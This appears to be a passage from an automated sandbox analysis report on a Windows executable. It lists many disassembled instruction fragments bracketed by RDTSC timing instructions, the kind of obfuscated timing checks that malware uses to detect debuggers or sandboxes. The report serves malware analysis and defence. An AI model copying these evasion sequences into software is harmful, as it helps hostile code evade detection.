Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A2A2 second address: E5A2AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5AC92 second address: E5ACA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnc 00007F99C163FAF6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5BCEA second address: E5BCFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F99C0D73D4Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B4F6 second address: E5B4FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5BCFD second address: E5BD01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B4FB second address: E5B501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5CF87 second address: E5CFA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99C0D73D57h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DADC second address: E5DAE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DAE3 second address: E5DAFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99C0D73D54h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62D9B second address: E62DA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E63257 second address: E6325B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6325B second address: E63261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6410B second address: E6410F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6410F second address: E6415D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 pushad 0x00000009 mov dword ptr [ebp+122D3675h], eax 0x0000000f jmp 00007F99C163FAFCh 0x00000014 popad 0x00000015 push 00000000h 0x00000017 mov dword ptr [ebp+122D24A3h], eax 0x0000001d mov ebx, dword ptr [ebp+122D2CEAh] 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ecx 0x00000028 call 00007F99C163FAF8h 0x0000002d pop ecx 0x0000002e mov dword ptr [esp+04h], ecx 0x00000032 add dword ptr [esp+04h], 00000014h 0x0000003a inc ecx 0x0000003b push ecx 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f push eax 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6415D second address: E64161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E66172 second address: E6618F instructions: 0x00000000 rdtsc 0x00000002 jno 00007F99C163FAF8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e je 00007F99C163FAF6h 0x00000014 jo 00007F99C163FAF6h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6618F second address: E66194 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6523E second address: E6525A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F99C163FB00h 0x0000000a popad 0x0000000b push eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E66194 second address: E6619A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6525A second address: E6525E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6525E second address: E652F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C0D73D4Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a nop 0x0000000b jmp 00007F99C0D73D4Bh 0x00000010 push dword ptr fs:[00000000h] 0x00000017 pushad 0x00000018 mov dword ptr [ebp+122D1891h], eax 0x0000001e mov dword ptr [ebp+1244ECD9h], ebx 0x00000024 popad 0x00000025 mov dword ptr fs:[00000000h], esp 0x0000002c mov eax, dword ptr [ebp+122D1601h] 0x00000032 push 00000000h 0x00000034 push ebx 0x00000035 call 00007F99C0D73D48h 0x0000003a pop ebx 0x0000003b mov dword ptr [esp+04h], ebx 0x0000003f add dword ptr [esp+04h], 0000001Dh 0x00000047 inc ebx 0x00000048 push ebx 0x00000049 ret 0x0000004a pop ebx 0x0000004b ret 0x0000004c push FFFFFFFFh 0x0000004e push 00000000h 0x00000050 push ebp 0x00000051 call 00007F99C0D73D48h 0x00000056 pop ebp 0x00000057 mov dword ptr [esp+04h], ebp 0x0000005b add dword ptr [esp+04h], 00000019h 0x00000063 inc ebp 0x00000064 push ebp 0x00000065 ret 0x00000066 pop ebp 0x00000067 ret 0x00000068 xor bx, CD19h 0x0000006d nop 0x0000006e pushad 0x0000006f push eax 0x00000070 push edx 0x00000071 push edx 0x00000072 pop edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E652F1 second address: E652FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E652FB second address: E652FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E67248 second address: E67267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F99C163FB02h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E68153 second address: E681A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F99C0D73D48h 0x0000000c popad 0x0000000d push eax 0x0000000e jnp 00007F99C0D73D54h 0x00000014 nop 0x00000015 sbb ebx, 7A0AAFF9h 0x0000001b push 00000000h 0x0000001d cld 0x0000001e push 00000000h 0x00000020 mov ebx, dword ptr [ebp+122D2D2Eh] 0x00000026 push eax 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F99C0D73D54h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E67371 second address: E6737B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F99C163FAF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E68404 second address: E68408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6A161 second address: E6A16B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F99C163FAF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E692EA second address: E6936E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F99C0D73D4Ch 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 mov ebx, edi 0x00000014 push dword ptr fs:[00000000h] 0x0000001b mov bl, 3Ah 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 mov ebx, 59E3E2B0h 0x00000029 mov eax, dword ptr [ebp+122D081Dh] 0x0000002f push 00000000h 0x00000031 push ebp 0x00000032 call 00007F99C0D73D48h 0x00000037 pop ebp 0x00000038 mov dword ptr [esp+04h], ebp 0x0000003c add dword ptr [esp+04h], 0000001Bh 0x00000044 inc ebp 0x00000045 push ebp 0x00000046 ret 0x00000047 pop ebp 0x00000048 ret 0x00000049 mov ebx, dword ptr [ebp+122D2B02h] 0x0000004f push FFFFFFFFh 0x00000051 xor edi, dword ptr [ebp+122D2804h] 0x00000057 jmp 00007F99C0D73D56h 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f push esi 0x00000060 pushad 0x00000061 popad 0x00000062 pop esi 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6A16B second address: E6A1E7 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F99C163FAF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F99C163FAF8h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 pushad 0x00000028 mov edx, dword ptr [ebp+122D2C0Ah] 0x0000002e add ebx, dword ptr [ebp+122D331Eh] 0x00000034 popad 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ebp 0x0000003a call 00007F99C163FAF8h 0x0000003f pop ebp 0x00000040 mov dword ptr [esp+04h], ebp 0x00000044 add dword ptr [esp+04h], 0000001Dh 0x0000004c inc ebp 0x0000004d push ebp 0x0000004e ret 0x0000004f pop ebp 0x00000050 ret 0x00000051 js 00007F99C163FAFAh 0x00000057 mov di, E6B8h 0x0000005b push 00000000h 0x0000005d add dword ptr [ebp+122D1B19h], eax 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 pushad 0x00000068 popad 0x00000069 pushad 0x0000006a popad 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6B0D2 second address: E6B0D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6B0D9 second address: E6B0FA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007F99C163FB04h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6B0FA second address: E6B187 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F99C0D73D4Fh 0x0000000a popad 0x0000000b nop 0x0000000c jno 00007F99C0D73D49h 0x00000012 push 00000000h 0x00000014 call 00007F99C0D73D4Dh 0x00000019 push eax 0x0000001a mov dword ptr [ebp+122D2678h], eax 0x00000020 pop edi 0x00000021 pop edi 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ebx 0x00000027 call 00007F99C0D73D48h 0x0000002c pop ebx 0x0000002d mov dword ptr [esp+04h], ebx 0x00000031 add dword ptr [esp+04h], 00000019h 0x00000039 inc ebx 0x0000003a push ebx 0x0000003b ret 0x0000003c pop ebx 0x0000003d ret 0x0000003e mov ebx, dword ptr [ebp+122D2C06h] 0x00000044 push eax 0x00000045 pushad 0x00000046 jmp 00007F99C0D73D55h 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F99C0D73D54h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6B187 second address: E6B18B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6C0AF second address: E6C0B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6C0B5 second address: E6C0BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E707BC second address: E707D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007F99C0D73D4Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6B2B7 second address: E6B2C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C163FAFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6C1DC second address: E6C1F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C0D73D4Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F917 second address: E6F91D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70A14 second address: E70A2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C0D73D4Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71815 second address: E71819 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6C1F4 second address: E6C209 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C0D73D51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70A2A second address: E70A2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71932 second address: E7193C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F99C0D73D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70A2E second address: E70A32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7293E second address: E72962 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F99C0D73D4Ch 0x00000008 ja 00007F99C0D73D46h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F99C0D73D51h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7193C second address: E71952 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F99C163FAFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71952 second address: E71957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E76234 second address: E76238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E76238 second address: E76242 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F99C0D73D46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13B06 second address: E13B34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C163FAFBh 0x00000007 jmp 00007F99C163FB04h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebx 0x0000000f push ecx 0x00000010 pushad 0x00000011 jnl 00007F99C163FAF6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B823 second address: E7B827 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B827 second address: E7B832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B832 second address: E7B84C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99C0D73D55h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7FD45 second address: E7FD98 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F99C163FB03h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F99C163FB09h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007F99C163FB05h 0x0000001a mov eax, dword ptr [eax] 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f push edx 0x00000020 pop edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7FD98 second address: E7FDBE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F99C0D73D4Dh 0x0000000b popad 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jng 00007F99C0D73D52h 0x00000016 jng 00007F99C0D73D4Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E858B5 second address: E858BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E86247 second address: E86264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F99C0D73D55h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E86264 second address: E86279 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F99C163FAFCh 0x0000000f jnc 00007F99C163FAF6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E86279 second address: E86290 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99C0D73D53h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E86290 second address: E862A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C163FB05h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E863FA second address: E863FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E866D1 second address: E866D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E86828 second address: E8682D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8682D second address: E86835 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8AF9D second address: E8AFA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8AFA1 second address: E8AFAB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F99C163FAF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8AFAB second address: E8AFDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F99C0D73D55h 0x0000000d jmp 00007F99C0D73D54h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8AFDC second address: E8AFE2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8AFE2 second address: E8AFFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99C0D73D56h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E15503 second address: E15509 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E15509 second address: E1550D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1550D second address: E1551E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C163FAFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E575DC second address: E57604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99C0D73D57h 0x00000009 popad 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f jnl 00007F99C0D73D46h 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57604 second address: E57643 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C163FAFCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jp 00007F99C163FAF7h 0x00000010 clc 0x00000011 jmp 00007F99C163FB06h 0x00000016 lea eax, dword ptr [ebp+1247B382h] 0x0000001c mov dword ptr [ebp+122D17D3h], edi 0x00000022 nop 0x00000023 push eax 0x00000024 push esi 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E579ED second address: E57A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F99C0D73D52h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57D01 second address: E57D05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57DB6 second address: E57DBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57F96 second address: E57FA0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F99C163FAF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57FA0 second address: E57FA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57FA6 second address: E57FAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E583A7 second address: E583D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 jmp 00007F99C0D73D4Ch 0x0000000d push 0000001Eh 0x0000000f sub dword ptr [ebp+122D1D81h], edi 0x00000015 mov cx, si 0x00000018 nop 0x00000019 jmp 00007F99C0D73D4Bh 0x0000001e push eax 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 push esi 0x00000023 pop esi 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E583D8 second address: E583E6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F99C163FAF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5878B second address: E58790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
